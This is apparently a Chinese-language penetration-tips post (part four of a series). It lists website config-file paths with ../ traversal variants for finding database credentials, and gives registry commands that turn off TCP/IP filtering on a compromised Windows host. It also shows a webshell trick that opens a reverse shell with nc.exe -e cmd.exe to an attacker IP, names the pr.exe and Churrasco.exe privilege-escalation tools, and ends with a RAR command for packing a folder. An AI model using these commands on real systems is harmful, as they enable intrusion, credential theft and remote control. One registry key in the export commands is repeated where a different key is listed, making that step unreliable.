提权、渗透、经验、技巧总结大全四

各种网站的配置文件相对路径大全：
/config.php
http://www.cnblogs.com/config.php
../config.php
http://www.cnblogs.com/../config.php
/config.inc.php
./config.inc.php
http://www.cnblogs.com/config.inc.php
../config.inc.php
http://www.cnblogs.com/../config.inc.php
/conn.php
./conn.php
http://www.cnblogs.com/conn.php
../conn.php
http://www.cnblogs.com/../conn.php
/conn.asp
./conn.asp
http://www.cnblogs.com/conn.asp
../conn.asp
http://www.cnblogs.com/../conn.asp
/config.inc.php
./config.inc.php
http://www.cnblogs.com/config.inc.php
../config.inc.php
http://www.cnblogs.com/../config.inc.php
/config/config.php
http://www.cnblogs.com/config/config.php
../config/config.php
http://www.cnblogs.com/../config/config.php
/config/config.inc.php
./config/config.inc.php
http://www.cnblogs.com/config/config.inc.php
../config/config.inc.php
http://www.cnblogs.com/../config/config.inc.php
/config/conn.php
./config/conn.php
http://www.cnblogs.com/config/conn.php
../config/conn.php
http://www.cnblogs.com/../config/conn.php
/config/conn.asp
./config/conn.asp
http://www.cnblogs.com/config/conn.asp
../config/conn.asp
http://www.cnblogs.com/../config/conn.asp
/config/config.inc.php
./config/config.inc.php
http://www.cnblogs.com/config/config.inc.php
../config/config.inc.php
http://www.cnblogs.com/../config/config.inc.php
/data/config.php
http://www.cnblogs.com/data/config.php
../data/config.php
http://www.cnblogs.com/../data/config.php
/data/config.inc.php
./data/config.inc.php
http://www.cnblogs.com/data/config.inc.php
../data/config.inc.php
http://www.cnblogs.com/../data/config.inc.php
/data/conn.php
./data/conn.php
http://www.cnblogs.com/data/conn.php
../data/conn.php
http://www.cnblogs.com/../data/conn.php
/data/conn.asp
./data/conn.asp
http://www.cnblogs.com/data/conn.asp
../data/conn.asp
http://www.cnblogs.com/../data/conn.asp
/data/config.inc.php
./data/config.inc.php
http://www.cnblogs.com/data/config.inc.php
../data/config.inc.php
http://www.cnblogs.com/../data/config.inc.php
/include/config.php
http://www.cnblogs.com/include/config.php
../include/config.php
http://www.cnblogs.com/../include/config.php
/include/config.inc.php
./include/config.inc.php
http://www.cnblogs.com/include/config.inc.php
../include/config.inc.php
http://www.cnblogs.com/../include/config.inc.php
/include/conn.php
./include/conn.php
http://www.cnblogs.com/include/conn.php
../include/conn.php
http://www.cnblogs.com/../include/conn.php
/include/conn.asp
./include/conn.asp
http://www.cnblogs.com/include/conn.asp
../include/conn.asp
http://www.cnblogs.com/../include/conn.asp
/include/config.inc.php
./include/config.inc.php
http://www.cnblogs.com/include/config.inc.php
../include/config.inc.php
http://www.cnblogs.com/../include/config.inc.php
/inc/config.php
http://www.cnblogs.com/inc/config.php
../inc/config.php
http://www.cnblogs.com/../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
http://www.cnblogs.com/inc/config.inc.php
../inc/config.inc.php
http://www.cnblogs.com/../inc/config.inc.php
/inc/conn.php
./inc/conn.php
http://www.cnblogs.com/inc/conn.php
../inc/conn.php
http://www.cnblogs.com/../inc/conn.php
/inc/conn.asp
./inc/conn.asp
http://www.cnblogs.com/inc/conn.asp
../inc/conn.asp
http://www.cnblogs.com/../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
http://www.cnblogs.com/inc/config.inc.php
../inc/config.inc.php
http://www.cnblogs.com/../inc/config.inc.php
/index.php
./index.php
http://www.cnblogs.com/index.php
../index.php
http://www.cnblogs.com/../index.php
/index.asp
./index.asp
http://www.cnblogs.com/index.asp
../index.asp
http://www.cnblogs.com/../index.asp

去除TCP IP筛选：
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
分别用以下命令来导出注册表项：
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
然后再把三个文件里的：
“EnableSecurityFilters"=dword:00000001”
改为：
“EnableSecurityFilters"=dword:00000000”
再将以上三个文件分别用以下命令导入注册表即可：
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg

Webshell 提权小技巧：
Cmd路径：c:\windows\temp\cmd.exe
Nc 也在同目录下，例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
而直接在 cmd 路径上输入：c:\windows\temp\nc.exe
命令输入：-vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。这个不是重点
我们通常执行 pr.exe 或 Churrasco.exe 的时候也需要按照上面的方法才能成功。

命令行调用 RAR 打包：
rar a -k -r -s -m3 c:\1.rar c:\folder